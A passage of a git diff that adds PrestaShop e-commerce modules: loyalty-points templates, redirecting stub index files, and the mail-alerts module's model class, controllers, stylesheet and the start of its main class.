        + +{if $orders} +
        + {if $orders && count($orders)} + + + + + + + + + + + + + + + + + + {foreach from=$displayorders item='order'} + + + + + + + {/foreach} + +
        {l s='Order' mod='loyalty'}{l s='Date' mod='loyalty'}{l s='Points' mod='loyalty'}{l s='Points Status' mod='loyalty'}
        {l s='Total points available:' mod='loyalty'}{$totalPoints|intval} 
        {dateFormat date=$order.date full=1}{$order.points|intval}{$order.state|escape:'htmlall':'UTF-8'}
        + + {else} +

        {l s='You have not placed any orders.'}

        + {/if} +
        + + +
        {l s='Vouchers generated here are usable in the following categories : ' mod='loyalty'} +{if $categories}{$categories}{else}{l s='All' mod='loyalty'}{/if} + +{if $transformation_allowed} +

        + {l s='Transform my points into a voucher of' mod='loyalty'} {convertPrice price=$voucher}. +

        +{/if} + +
        +
        +
        + +

        {l s='My vouchers from loyalty points' mod='loyalty'}

        + +{if $nbDiscounts} +
        + + + + + + + + + + + + + + {foreach from=$discounts item=discount name=myLoop} + + + + + + + + + + {/foreach} + +
        {l s='Created' mod='loyalty'}{l s='Value' mod='loyalty'}{l s='Code' mod='loyalty'}{l s='Valid from' mod='loyalty'}{l s='Valid until' mod='loyalty'}{l s='Status' mod='loyalty'}{l s='Details' mod='loyalty'}
        {dateFormat date=$discount->date_add}{if $discount->reduction_percent > 0} + {$discount->reduction_percent}% + {elseif $discount->reduction_amount} + {displayPrice price=$discount->reduction_amount currency=$discount->reduction_currency} + {else} + {l s='Free shipping' mod='loyalty'} + {/if}{$discount->code}{dateFormat date=$discount->date_from}{dateFormat date=$discount->date_to}{if $discount->quantity > 0}{l s='To use' mod='loyalty'}{else}{l s='Used' mod='loyalty'}{/if} + {l s='more...' mod='loyalty'}
        + +
        + +{if $minimalLoyalty > 0}

        {l s='The minimum order amount in order to use these vouchers is:'} {convertPrice price=$minimalLoyalty}

        {/if} + + +{else} +

        {l s='No vouchers yet.' mod='loyalty'}

        +{/if} +{else} +

        {l s='No reward points yet.' mod='loyalty'}

        +{/if} + + diff --git a/modules/loyalty/views/templates/hook/index.php b/modules/loyalty/views/templates/hook/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/loyalty/views/templates/hook/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/loyalty/views/templates/hook/my-account.tpl b/modules/loyalty/views/templates/hook/my-account.tpl new file mode 100755 index 0000000..bc36665 --- /dev/null +++ b/modules/loyalty/views/templates/hook/my-account.tpl @@ -0,0 +1,28 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
      • {l s='My loyalty points' mod='loyalty'} {l s='My loyalty points' mod='loyalty'}
      • + \ No newline at end of file diff --git a/modules/loyalty/views/templates/hook/product.tpl b/modules/loyalty/views/templates/hook/product.tpl new file mode 100755 index 0000000..63cd24d --- /dev/null +++ b/modules/loyalty/views/templates/hook/product.tpl @@ -0,0 +1,84 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +

        + {if $points} + {l s='By buying this product you can collect up to' mod='loyalty'} {$points} + {if $points > 1}{l s='loyalty points' mod='loyalty'}{else}{l s='loyalty point' mod='loyalty'}{/if}. + {l s='Your cart will total' mod='loyalty'} {$total_points} + {if $total_points > 1}{l s='points' mod='loyalty'}{else}{l s='point' mod='loyalty'}{/if} {l s='that can be converted into a voucher of' mod='loyalty'} + {convertPrice price=$voucher}. + {else} + {if isset($no_pts_discounted) && $no_pts_discounted == 1} + {l s='No reward points for this product because there\'s already a discount.' mod='loyalty'} + {else} + {l s='No reward points for this product.' mod='loyalty'} + {/if} + {/if} +

        +
        \ No newline at end of file diff --git a/modules/loyalty/views/templates/hook/shopping-cart.tpl b/modules/loyalty/views/templates/hook/shopping-cart.tpl new file mode 100755 index 0000000..7e2eb63 --- /dev/null +++ b/modules/loyalty/views/templates/hook/shopping-cart.tpl @@ -0,0 +1,38 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +

        + {l s='loyalty' mod='loyalty'} + {if $points > 0} + {l s='By checking out this shopping cart you can collect up to' mod='loyalty'} + {if $points > 1}{l s='%d loyalty points' sprintf=$points mod='loyalty'}{else}{l s='%d loyalty point' sprintf=$points mod='loyalty'}{/if} + {l s='that can be converted into a voucher of' mod='loyalty'} {convertPrice price=$voucher}{if isset($guest_checkout) && $guest_checkout}*{/if}.
        + {if isset($guest_checkout) && $guest_checkout}* {l s='Not available for Instant checkout order' mod='loyalty'}{/if} + {else} + {l s='Add some products to your shopping cart to collect some loyalty points.' mod='loyalty'} + {/if} +

        + \ No newline at end of file diff --git a/modules/loyalty/views/templates/index.php b/modules/loyalty/views/templates/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/loyalty/views/templates/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/mailalerts/MailAlert.php b/modules/mailalerts/MailAlert.php new file mode 100755 index 0000000..77f6143 --- /dev/null +++ b/modules/mailalerts/MailAlert.php @@ -0,0 +1,255 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class MailAlert extends ObjectModel +{ + public $id_customer; + + public $customer_email; + + public $id_product; + + public $id_product_attribute; + + public $id_shop; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'mailalert_customer_oos', + 'primary' => 'id_customer', + 'fields' => array( + 'id_customer' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt', 'required' => true), + 'customer_email' => array('type' => self::TYPE_STRING, 'validate' => 'isEmail', 'required' => true), + 'id_product' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt', 'required' => true), + 'id_product_attribute' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt', 'required' => true), + 'id_shop' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt', 'required' => true) + ), + ); + + public static function customerHasNotification($id_customer, $id_product, $id_product_attribute, $id_shop = null) + { + if ($id_shop == null) + $id_shop = Context::getContext()->shop->id; + + $customer = new Customer($id_customer); + $customer_email = $customer->email; + + $sql = ' + SELECT * + FROM `'._DB_PREFIX_.self::$definition['table'].'` + WHERE (`id_customer` = '.(int)$id_customer.' OR `customer_email` = \''.pSQL($customer_email).'\') + AND `id_product` = '.(int)$id_product.' + AND `id_product_attribute` = '.(int)$id_product_attribute.' + AND `id_shop` = '.(int)$id_shop; + + return count(Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql)); + } + + public static function deleteAlert($id_customer, $customer_email, $id_product, $id_product_attribute) + { + $sql = ' + DELETE FROM `'._DB_PREFIX_.self::$definition['table'].'` + WHERE '.(($id_customer > 0) ? '(`customer_email` = \''.pSQL($customer_email).'\' OR `id_customer` = '.(int)$id_customer.')' : + '`customer_email` = \''.pSQL($customer_email).'\''). + ' AND `id_product` = '.(int)$id_product.' + AND `id_product_attribute` = '.(int)$id_product_attribute; + + return Db::getInstance()->execute($sql); + } + + /* + * Get objects that will be viewed on "My alerts" page + */ + public static function getMailAlerts($id_customer, $id_lang, Shop $shop = null) + { + if (!Validate::isUnsignedId($id_customer) || !Validate::isUnsignedId($id_lang)) + die (Tools::displayError()); + + if (!$shop) + $shop = Context::getContext()->shop; + + $customer = new Customer($id_customer); + $products = MailAlert::getProducts($customer, $id_lang); + $products_number = count($products); + + if (empty($products) === true || !$products_number) + return array(); + + for ($i = 0; $i < $products_number; ++$i) + { + $obj = new Product((int)$products[$i]['id_product'], false, (int)$id_lang); + if (!Validate::isLoadedObject($obj)) + continue; + + if (isset($products[$i]['id_product_attribute']) && + Validate::isUnsignedInt($products[$i]['id_product_attribute'])) + { + $attributes = self::getProductAttributeCombination($products[$i]['id_product_attribute'], $id_lang); + $products[$i]['attributes_small'] = ''; + + if ($attributes) + { + foreach ($attributes as $k => $row) + $products[$i]['attributes_small'] .= $row['attribute_name'].', '; + } + + $products[$i]['attributes_small'] = rtrim($products[$i]['attributes_small'], ', '); + $products[$i]['id_shop'] = $shop->id; + + /* Get cover */ + $attrgrps = $obj->getAttributesGroups((int)$id_lang); + foreach ($attrgrps as $attrgrp) + { + if ($attrgrp['id_product_attribute'] == (int)$products[$i]['id_product_attribute'] + && $images = Product::_getAttributeImageAssociations((int)$attrgrp['id_product_attribute'])) + { + $products[$i]['cover'] = $obj->id.'-'.array_pop($images); + break; + } + } + } + + if (!isset($products[$i]['cover']) || !$products[$i]['cover']) + { + $images = $obj->getImages((int)$id_lang); + foreach ($images as $k => $image) + { + if ($image['cover']) + { + $products[$i]['cover'] = $obj->id.'-'.$image['id_image']; + break; + } + } + } + + if (!isset($products[$i]['cover'])) + $products[$i]['cover'] = Language::getIsoById($id_lang).'-default'; + + $products[$i]['link'] = $obj->getLink(); + $products[$i]['link_rewrite'] = $obj->link_rewrite; + } + + return ($products); + } + + public static function sendCustomerAlert($id_product, $id_product_attribute) + { + $link = new Link(); + + $id_lang = (int)Context::getContext()->language->id; + $product = new Product((int)$id_product, false, $id_lang); + $templateVars = array( + '{product}' => (is_array($product->name) ? $product->name[$id_lang] : $product->name), + '{product_link}' => $link->getProductLink($product) + ); + + $customers = self::getCustomers($id_product, $id_product_attribute); + foreach ($customers as $customer) + { + if ($customer['id_customer']) + { + $customer = new Customer((int)$customer['id_customer']); + $customer_email = $customer->email; + $customer_id = (int)$customer->id; + } + else + { + $customer_id = 0; + $customer_email = $customer['customer_email']; + } + $iso = Language::getIsoById($id_lang); + + if (file_exists(dirname(__FILE__).'/mails/'.$iso.'/customer_qty.txt') && + file_exists(dirname(__FILE__).'/mails/'.$iso.'/customer_qty.html')) + Mail::Send((int)Configuration::get('PS_LANG_DEFAULT'), 'customer_qty', Mail::l('Product available', $id_lang), $templateVars, strval($customer_email), NULL, strval(Configuration::get('PS_SHOP_EMAIL')), strval(Configuration::get('PS_SHOP_NAME')), NULL, NULL, dirname(__FILE__).'/mails/'); + + Hook::exec('actionModuleMailAlertSendCustomer', array('product' => (is_array($product->name) ? $product->name[$id_lang] : $product->name), 'link' => $link->getProductLink($product))); + + self::deleteAlert((int)$customer_id, strval($customer_email), (int)$id_product, (int)$id_product_attribute); + } + } + + /* + * Generate correctly the address for an email + */ + public static function getFormatedAddress(Address $address, $line_sep, $fields_style = array()) + { + return AddressFormat::generateAddress($address, array('avoid' => array()), $line_sep, ' ', $fields_style); + } + + /* + * Get products according to alerts + */ + public static function getProducts($customer, $id_lang) + { + $sql = ' + SELECT ma.`id_product`, p.`quantity` AS product_quantity, pl.`name`, ma.`id_product_attribute` + FROM `'._DB_PREFIX_.self::$definition['table'].'` ma + JOIN `'._DB_PREFIX_.'product` p ON (p.`id_product` = ma.`id_product`) + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl ON (pl.`id_product` = p.`id_product` AND pl.id_shop IN ('.implode(', ', Shop::getContextListShopID(false)).')) + WHERE product_shop.`active` = 1 + AND (ma.`id_customer` = '.(int)$customer->id.' OR ma.`customer_email` = \''.pSQL($customer->email).'\') + AND pl.`id_lang` = '.(int)$id_lang.Shop::addSqlRestriction(false, 'ma'); + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + } + + /* + * Get product combinations + */ + public static function getProductAttributeCombination($id_product_attribute, $id_lang) + { + $sql = ' + SELECT al.`name` AS attribute_name + FROM `'._DB_PREFIX_.'product_attribute_combination` pac + LEFT JOIN `'._DB_PREFIX_.'attribute` a ON (a.`id_attribute` = pac.`id_attribute`) + LEFT JOIN `'._DB_PREFIX_.'attribute_group` ag ON (ag.`id_attribute_group` = a.`id_attribute_group`) + LEFT JOIN `'._DB_PREFIX_.'attribute_lang` al ON (a.`id_attribute` = al.`id_attribute` AND al.`id_lang` = '.(int)$id_lang.') + LEFT JOIN `'._DB_PREFIX_.'attribute_group_lang` agl ON (ag.`id_attribute_group` = agl.`id_attribute_group` AND agl.`id_lang` = '.(int)$id_lang.') + LEFT JOIN `'._DB_PREFIX_.'product_attribute` pa ON (pac.`id_product_attribute` = pa.`id_product_attribute`) + '.Shop::addSqlAssociation('product_attribute', 'pa').' + WHERE pac.`id_product_attribute` = '.(int)$id_product_attribute; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + } + + /* + * Get customers waiting for alert on the specified product/product attribute + */ + public static function getCustomers($id_product, $id_product_attribute) + { + $sql = ' + SELECT id_customer, customer_email + FROM `'._DB_PREFIX_.self::$definition['table'].'` + WHERE `id_product` = '.(int)$id_product.' AND `id_product_attribute` = '.(int)$id_product_attribute; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + } + +} diff --git a/modules/mailalerts/controllers/front/account.php b/modules/mailalerts/controllers/front/account.php new file mode 100755 index 0000000..34a73a1 --- /dev/null +++ b/modules/mailalerts/controllers/front/account.php @@ -0,0 +1,54 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class MailalertsAccountModuleFrontController extends ModuleFrontController +{ + public function init() + { + parent::init(); + + require_once($this->module->getLocalPath().'MailAlert.php'); + } + + public function initContent() + { + parent::initContent(); + + if (!Context::getContext()->customer->isLogged()) + Tools::redirect('index.php?controller=authentication&redirect=module&module=mailalerts&action=account'); + + if (Context::getContext()->customer->id) + { + $this->context->smarty->assign('id_customer', Context::getContext()->customer->id); + $this->context->smarty->assign('mailAlerts', MailAlert::getMailAlerts((int)Context::getContext()->customer->id, (int)Context::getContext()->language->id)); + + $this->setTemplate('mailalerts-account.tpl'); + } + } +} \ No newline at end of file diff --git a/modules/mailalerts/controllers/front/actions.php b/modules/mailalerts/controllers/front/actions.php new file mode 100755 index 0000000..a1ff41a --- /dev/null +++ b/modules/mailalerts/controllers/front/actions.php @@ -0,0 +1,136 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class MailalertsActionsModuleFrontController extends ModuleFrontController +{ + /** + * @var int + */ + public $id_product; + public $id_product_attribute; + + public function init() + { + parent::init(); + + require_once($this->module->getLocalPath().'MailAlert.php'); + $this->id_product = (int)Tools::getValue('id_product'); + $this->id_product_attribute = (int)Tools::getValue('id_product_attribute'); + } + + public function postProcess() + { + if (Tools::getValue('process') == 'remove') + $this->processRemove(); + else if (Tools::getValue('process') == 'add') + $this->processAdd(); + else if (Tools::getValue('process') == 'check') + $this->processCheck(); + } + + /** + * Remove a favorite product + */ + public function processRemove() + { + // check if product exists + $product = new Product($this->id_product); + if (!Validate::isLoadedObject($product)) + die('0'); + + if (MailAlert::deleteAlert((int)Context::getContext()->customer->id, (int)Context::getContext()->customer->email, (int)$product->id, (int)$this->id_product_attribute)) + die('0'); + die(1); + } + + /** + * Add a favorite product + */ + public function processAdd() + { + if (Context::getContext()->customer->isLogged()) + { + $id_customer = (int)Context::getContext()->customer->id; + $customer = new Customer($id_customer); + $customer_email = strval($customer->email); + } + else + { + $customer_email = strval(Tools::getValue('customer_email')); + $customer = Context::getContext()->customer->getByEmail($customer_email); + $id_customer = (isset($customer->id) && ($customer->id != null)) ? (int)$customer->id : null; + } + + $id_product = (int)Tools::getValue('id_product'); + $id_product_attribute = (int)Tools::getValue('id_product_attribute'); + $id_shop = (int)Context::getContext()->shop->id; + $product = new Product($id_product, null, null, $id_shop, Context::getContext()); + + $mailAlert = MailAlert::customerHasNotification($id_customer, $id_product, $id_product_attribute, $id_shop); + + if ($mailAlert) + die('2'); + else if (!Validate::isLoadedObject($product)) + die('0'); + + $mailAlert = new MailAlert(); + + $mailAlert->id_customer = (int)$id_customer; + $mailAlert->customer_email = strval($customer_email); + $mailAlert->id_product = (int)$id_product; + $mailAlert->id_product_attribute = (int)$id_product_attribute; + $mailAlert->id_shop = (int)$id_shop; + + if ($mailAlert->add() !== false) + die('1'); + + die('0'); + } + + /** + * Add a favorite product + */ + public function processCheck() + { + if (!(int)$this->context->customer->logged) + die('0'); + + $id_customer = (int)$this->context->customer->id; + + if (!$id_product = (int)(Tools::getValue('id_product'))) + die ('0'); + $id_product_attribute = (int)(Tools::getValue('id_product_attribute')); + $id_shop = (int)Context::getContext()->shop->id; + + if (MailAlert::customerHasNotification((int)$id_customer, (int)$id_product, (int)$id_product_attribute, (int)$id_shop)) + die ('1'); + + die('0'); + } +} \ No newline at end of file diff --git a/modules/mailalerts/controllers/front/index.php b/modules/mailalerts/controllers/front/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/mailalerts/controllers/front/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/mailalerts/controllers/index.php b/modules/mailalerts/controllers/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/mailalerts/controllers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/mailalerts/img/del_alert.gif b/modules/mailalerts/img/del_alert.gif new file mode 100755 index 0000000..8aea7d4 Binary files /dev/null and b/modules/mailalerts/img/del_alert.gif differ diff --git a/modules/mailalerts/img/icon-alert.png b/modules/mailalerts/img/icon-alert.png new file mode 100755 index 0000000..95e0926 Binary files /dev/null and b/modules/mailalerts/img/icon-alert.png differ diff --git a/modules/mailalerts/img/index.php b/modules/mailalerts/img/index.php new file mode 100755 index 0000000..e582afc --- /dev/null +++ b/modules/mailalerts/img/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/mailalerts/index.php b/modules/mailalerts/index.php new file mode 100755 index 0000000..e582afc --- /dev/null +++ b/modules/mailalerts/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/mailalerts/logo.gif b/modules/mailalerts/logo.gif new file mode 100755 index 0000000..8bdd330 Binary files /dev/null and b/modules/mailalerts/logo.gif differ diff --git a/modules/mailalerts/logo.png b/modules/mailalerts/logo.png new file mode 100755 index 0000000..1a8d30f Binary files /dev/null and b/modules/mailalerts/logo.png differ diff --git a/modules/mailalerts/mailalerts-account.php b/modules/mailalerts/mailalerts-account.php new file mode 100755 index 0000000..d6949a1 --- /dev/null +++ b/modules/mailalerts/mailalerts-account.php @@ -0,0 +1,67 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/* SSL Management */ +$useSSL = true; + +include(dirname(__FILE__).'/../../config/config.inc.php'); +include(dirname(__FILE__).'/../../header.php'); +include_once(dirname(__FILE__).'/mailalerts.php'); + +// Instance of module class for translations +$module = new MailAlerts(); + +$errors = array(); + +if ($cookie->isLogged()) +{ + if (Tools::getValue('action') == 'delete') + { + $id_customer = (int)($cookie->id_customer); + if (!$id_product = (int)(Tools::getValue('id_product'))) + $errors[] = $module->l('You must have a product to delete an alert.', 'mailalerts-account'); + $id_product_attribute = (int)(Tools::getValue('id_product_attribute')); + $customer = new Customer((int)($id_customer)); + MailAlerts::deleteAlert((int)($id_customer), strval($customer->email), (int)($id_product), (int)($id_product_attribute)); + } + $this->context->smarty->assign('mailAlerts', MailAlert::getProductsAlerts((int)($cookie->id_customer), (int)($cookie->id_lang))); +} +else + $errors[] = $module->l('You must be logged in to manage your alerts.', 'mailalerts-account'); + +$this->context->smarty->assign(array( + 'id_customer' => (int)($cookie->id_customer), + 'errors' => $errors +)); + +if (Tools::file_exists_cache(_PS_THEME_DIR_.'modules/mailalerts/myalerts.tpl')) + $smarty->display(_PS_THEME_DIR_.'modules/mailalerts/myalerts.tpl'); +elseif (Tools::file_exists_cache(dirname(__FILE__).'/myalerts.tpl')) + $smarty->display(dirname(__FILE__).'/myalerts.tpl'); +else + echo $module->l('No template found', 'mailalerts-account'); + +include(dirname(__FILE__).'/../../footer.php'); diff --git a/modules/mailalerts/mailalerts-ajax.php b/modules/mailalerts/mailalerts-ajax.php new file mode 100755 index 0000000..0d81d2b --- /dev/null +++ b/modules/mailalerts/mailalerts-ajax.php @@ -0,0 +1,32 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +require_once(dirname(__FILE__).'/../../config/config.inc.php'); +require_once(dirname(__FILE__).'/../../init.php'); + + + + diff --git a/modules/mailalerts/mailalerts-extra.php b/modules/mailalerts/mailalerts-extra.php new file mode 100755 index 0000000..c919989 --- /dev/null +++ b/modules/mailalerts/mailalerts-extra.php @@ -0,0 +1,119 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + +{if !$isCustomerMailAlert AND $isLogged} +
      • + {l s='Add this product to my favorites' mod='mailalerts'} +
      • +{/if} +{if $isCustomerMailAlert AND $isLogged} +
      • + {l s='Remove this product from my favorites' mod='mailalerts'} +
      • +{/if} + +
      • + {l s='Remove this product from my favorites' mod='mailalerts'} +
      • +
      • + {l s='Add this product to my favorites' mod='mailalerts'} +
      • \ No newline at end of file diff --git a/modules/mailalerts/mailalerts.css b/modules/mailalerts/mailalerts.css new file mode 100755 index 0000000..3d0e888 --- /dev/null +++ b/modules/mailalerts/mailalerts.css @@ -0,0 +1,47 @@ +#module-mailalerts-mailalerts-account #left_column {display:none} +#module-mailalerts-mailalerts-account #center_column {width:757px} + +#mailalerts_block_account .mailalert { + position:relative; + margin-bottom: 14px; + padding: 12px 8px; + border: 1px solid #eee; + border-radius: 3px 3px 3px 3px; +} + +.mailalert a.product_img_link { + border: 1px solid #CCCCCC; + display: block; + float: left; + margin-right: 14px; + overflow: hidden; + position: relative; +} + +.mailalert h3 { + color: #000000; + font-size: 13px; + padding: 0 0 10px; +} + +.mailalert p.product_desc { + line-height: 16px; + overflow: hidden; + padding: 0; +} + +.mailalert .remove { + position:absolute; + top:10px; + right:10px +} +.mailalert .remove .icon {cursor:pointer} + + +/* lnk fiche produit */ + +#usefull_link_block li#mailalerts_block_extra_remove { + padding-left:20px; + background:url(img/del_alert.gif) no-repeat 0 0; + cursor: pointer; +} \ No newline at end of file diff --git a/modules/mailalerts/mailalerts.php b/modules/mailalerts/mailalerts.php new file mode 100755 index 0000000..85f4b4a --- /dev/null +++ b/modules/mailalerts/mailalerts.php @@ -0,0 +1,583 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_CAN_LOAD_FILES_')) + exit; + +include_once(dirname(__FILE__).'/MailAlert.php'); + +class MailAlerts extends Module +{ + private $_html = ''; + + private $_merchant_mails; + private $_merchant_order; + private $_merchant_oos; + private $_customer_qty; + private $_merchant_coverage; + private $_product_coverage; + + const __MA_MAIL_DELIMITOR__ = ','; + + public function __construct() + { + $this->name = 'mailalerts'; + $this->tab = 'administration'; + $this->version = '2.4'; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + if ($this->id) + $this->init(); + + $this->displayName = $this->l('Mail alerts'); + $this->description = $this->l('Sends e-mail notifications to customers and merchants.'); + $this->confirmUninstall = $this->l('Are you sure you want to delete all customer notifications?'); + } + + private function init() + { + $this->_merchant_mails = strval(Configuration::get('MA_MERCHANT_MAILS')); + $this->_merchant_order = (int)Configuration::get('MA_MERCHANT_ORDER'); + $this->_merchant_oos = (int)Configuration::get('MA_MERCHANT_OOS'); + $this->_customer_qty = (int)Configuration::get('MA_CUSTOMER_QTY'); + $this->_merchant_coverage = (int)Configuration::getGlobalValue('MA_MERCHANT_COVERAGE'); + $this->_product_coverage = (int)Configuration::getGlobalValue('MA_PRODUCT_COVERAGE'); + } + + public function install() + { + if (!parent::install() || + !$this->registerHook('actionValidateOrder') || + !$this->registerHook('actionUpdateQuantity') || + !$this->registerHook('actionProductOutOfStock') || + !$this->registerHook('displayCustomerAccount') || + !$this->registerHook('displayMyAccountBlock') || + !$this->registerHook('actionProductDelete') || + !$this->registerHook('actionProductAttributeDelete') || + 